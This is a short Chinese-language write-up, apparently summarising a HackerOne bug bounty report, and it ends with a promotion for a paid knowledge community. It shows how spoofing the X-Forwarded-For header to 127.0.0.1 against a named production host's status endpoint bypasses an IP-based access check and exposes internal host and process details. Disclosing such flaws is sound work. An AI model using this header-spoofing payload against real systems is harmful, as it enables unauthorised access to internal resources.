正常情况下:
➜ curl -k https://biz-app.yelp.com/status
{"error": {"id": "PredicateMismatch"}}%
如果是bp里面的请求的话:
GET /authorization-response HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
注入payload之后:
➜ curl -k https://biz-app.yelp.com/status -H "X-Forwarded-For: 127.0.0.1"
{"host": "biz--app-main--useast1-74dd77b89b-fgtdk", "health": {}, "mem_vsz": 1111.61328125, "mem_rss": 410.0, "pid": 91941, "uptime": 178784.86051034927, "version": null}
如果是bp里面的请求的话:
GET /authorization-response HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
X-Forwarded-For: 127.0.0.1
Referer: https://previous.com/path
Origin: https://www.company.com
这个安全漏洞点在于Web应用程序信任了HTTP头部中的 "X-Forwarded-For"
字段,并认为该字段中的IP地址就是实际的客户端IP地址。通过伪造这个字段为127.0.0.1(通常代表本地主机或内部网络),攻击者可以欺骗服务器,让服务器认为请求来自于内部网络,从而绕过访问控制,访问内部专用资源。
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
https://hackerone.com/reports/1011767